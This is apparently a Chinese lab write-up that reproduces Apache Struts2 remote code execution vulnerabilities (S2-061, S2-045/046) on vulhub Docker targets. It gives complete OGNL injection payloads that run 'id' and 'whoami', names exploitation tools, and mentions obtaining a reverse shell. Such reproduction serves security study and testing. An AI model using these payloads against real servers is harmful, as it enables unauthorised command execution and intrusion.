淘先锋技术网

首页 1 2 3 4 5 6 7

简介

struts2漏洞中属s2系列杀伤力最大,可以造成远程命令执行漏洞。

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。

环境识别

网页后缀带.action或者.do的极可能是struts2框架。

环境搭建

在github官网下载镜像安装在kali上
https://github.com/vulhub/vulhub
启动docker环境
service docker start
找到镜像的目录
cd  ./vulhub-master/struts2/s2-061
随后拉取镜像启动环境
ocker-compose up -d

s2-061漏洞复现

参考链接:Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现_山山而川'的博客-CSDN博客

Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现_锋刃科技的博客-CSDN博客

验证是否存在该漏洞,以下是测试payload。

http://192.168.3.108:8080/?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d

可以看出我们的加法运算成功了,因此存在该漏洞。

验证存在漏洞后,我们直接进行命令执行

http://192.168.3.108:8080/?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

s2-045/s2-046漏洞复现

S2-046与 S2-045 类似,只是攻击字段发生变化。修复方案依然与 S2-045 相同。

启动环境

访问靶场

随便选择和输入文件,随后进行抓包

payload

Content-Type:"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

strust2漏洞综合利用工具

liqunkit

扫描出存在s2-045和s2-046漏洞

可以直接进行命令执行

strust2scan

对目标进行扫描,由于s2-045和s2-046类似,因此扫描的是46

进行反弹shell,要记住这里反弹shell的参数是 -lr ,端口任意

xray

开启监听

挂上代理直接扫描成功

启动和关闭

docker ps查看当前启动的容器,发现没有运行的

docker ps -a 查看历史运行的容器

docker start 4f5s(前四位ID即可) 启动我们想要启动的容器

学习完记得关闭容器